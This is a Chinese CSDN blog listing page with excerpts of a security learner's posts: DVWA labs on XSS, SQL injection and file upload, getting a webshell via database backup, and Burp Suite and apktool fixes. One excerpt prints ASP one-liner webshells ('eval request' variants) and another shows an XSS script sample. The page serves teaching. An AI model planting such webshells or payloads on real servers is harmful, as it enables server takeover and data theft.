- 博客(15)
- 资源 (6)
- 收藏
- 关注
![](https://csdnimg.cn/release/blogv2/dist/pc/img/listFixedTop.png)
原创 关于在火狐浏览器下Burp Suite不能抓包的解决方法
1.第一种情况是网上有很多回答的那种:如图,要去掉默认不使用代理2.第二种情况是使用了插件导致可能是浏览器插件排除了localhost和127.0.0.1, 把排除的删掉3.第三种情况就是我遇到的情况了,把127.0.0.1改成localhost试试,需要特别注意的是:localhost后面要加上一个点“.”如:http://localhost./dvwa/...
2019-07-12 00:07:27
4513
1
原创 开源代码监控--码小六(安装使用教程)
写在前面众所周知,GitHub 是全球最大的代码托管平台,它在 2019 年报中提到平台已拥有超过 4000 万开发者,全年共创建了 4400 万个仓库。而在庞大的数字的背后,每天却发生着大量的安全泄露!我们需要实时监控 GitHub,防止出现重大安全事故。工具介绍GitHub 代码泄露监控工具 - 码小六,基于 PHP + Laravel 构建,开源免费仓库地址:https://github.com/4x99/code6系统特点:1、全可视化界面,操作简单2、支持 GitHub 令牌管
2020-06-21 10:27:44
4334
原创 解决Android killer或apktool回编译报错问题
昨天在测试安卓客户端时,回编总是出错出错,换各种工具都没有用,error: No resource identifier found for attribute ‘keyboardNavigationCluster’ in package ‘android’,在网上找了各种博客都没有找到一个能解决的办法,下面记录一下最终解决办法:1.将apktool升级到最新版;2.通过cmd命令行执行以下命令(需要进入到apktook的目录下运行此命令): java -jar apktool_2.3.4.jar e
2020-05-09 10:32:34
1214
原创 Web安全之上传漏洞
0x00 任务1、编写一个上传图片的功能页面2、针对上传的文件进行验证(后缀验证、文件头验证、文件名验证等)3、文件上传通常会与文件解析漏洞相结合,可以收集整理存在解析漏洞的组件和相关版本,无法部署相关环境,可以学习相关技术,不用实际操作扩展学习:学习如何绕过黑名单验证、文件头验证,如何杜绝上传图片的功能无法利用获取 shell ?0x01 客户端检测(1)后缀检测(使用js检查不...
2020-01-15 14:47:15
323
原创 数据库备份拿webshell
数据库备份拿webshell原理 数据库备份拿webshell主要前提是能进入到应用系统后台,并且有数据库备份功能。 当我们想法设法进入到一个系统后台之后,本以为找一个文件上传的地方来上传一个webshell,但是上传点却是限制得死死的,高强度的白名单限制,各种绕过都没有成功,恰巧该系统后台中有数据库备份这个功能,此时我们可以通过数据库备份来拿webshell! 首...
2020-01-13 22:29:06
1340
1
原创 Ubuntu阿里云镜像源
ubuntu 16.04阿里云镜像源配置如下deb http://mirrors.aliyun.com/ubuntu/ xenial maindeb-src http://mirrors.aliyun.com/ubuntu/ xenial maindeb http://mirrors.aliyun.com/ubuntu/ xenial-updates maindeb-src http:/...
2020-01-06 20:51:56
861
转载 Web安全学习之——基于dvwa的XSS (DOM)学习教程
1.什么是DOM型XSS?DOM全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,其触发不需要经过服务器端,也就是说,服务端的防御并不起作用。它的特殊之处在于它是利用 JS 的document.write 、docume...
2019-07-20 19:25:48
329
原创 Web安全学习之——基于dvwa的XSS (Stored)学习教程
1.什么是XSS(stored)?存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等例子:发一篇文章,里面包含了恶意脚本今天和女朋友出去约会了,心情不错<script>alert('handsome ...
2019-07-19 15:46:18
370
原创 Web安全学习之——基于dvwa的XSS (Reflecte)学习教程
什么是XSS?XSS,全称Cross Site Scripting(为了与CSS区分开来故称为XSS),即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。...
2019-07-17 21:25:35
339
原创 Web安全之—File Upload基于dvwa的一句话木马注入
LOW Level代码:<?phpif( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $...
2019-07-16 16:38:12
937
转载 Web安全学习之—file upload(各种一句话木马大全)
本文转载自:https://blog.csdn.net/l1028386804/article/details/84206143<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%>&...
2019-07-15 15:53:25
414
原创 SQL注入之——伪静态注入
1.什么是伪静态注入?答:“伪静态”顾名思义就是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页成为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。展示出来的是以html一类的静态页面形式,但其实是用PHP一类的动态脚本来处理的。2....
2019-07-15 15:07:40
2279
转载 web安全学习之基于dvwa的SQL注入演练(low)
SQL注入练习:基于DVWA的SQL注入演练(low)1、设置把安全等级先调整为low,让自己获得点信心。2、测试和分析页面的功能根据上面的提示,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入了“1”。它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。同时,看一下浏览器的地址栏那里,发现url成这样了这里有个id=1...
2019-07-15 15:06:57
413
原创 sqlmap使用的简单介绍(基于dvwa讲解)
前言:写这篇文章主要是给自己做个笔记,也方便刚入门的新手快速上手。至于详细原理和基础,各位还得自己动手搜索其他文章或者看书学习。本教程基于dvwa来测试,首先我们直接以SQL Injection (Blind)的medium level为例:1.首先,我们先准备好burpsuite进行抓包,然后在输入框里输入一个数字:点击提交,在burpsuite里抓到包2.我们把里面的代码全部复制下...
2019-07-14 20:30:09
1035
原创 web安全学习之基于dvwa的SQL Injection (Blind)盲注--思路篇
1.什么是盲注?盲注的本质是猜解,所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断。SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲...
2019-07-13 16:43:36
390
db_library.rar
2020-01-02
广东工业大学 操作系统实验源代码
2020-01-02
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人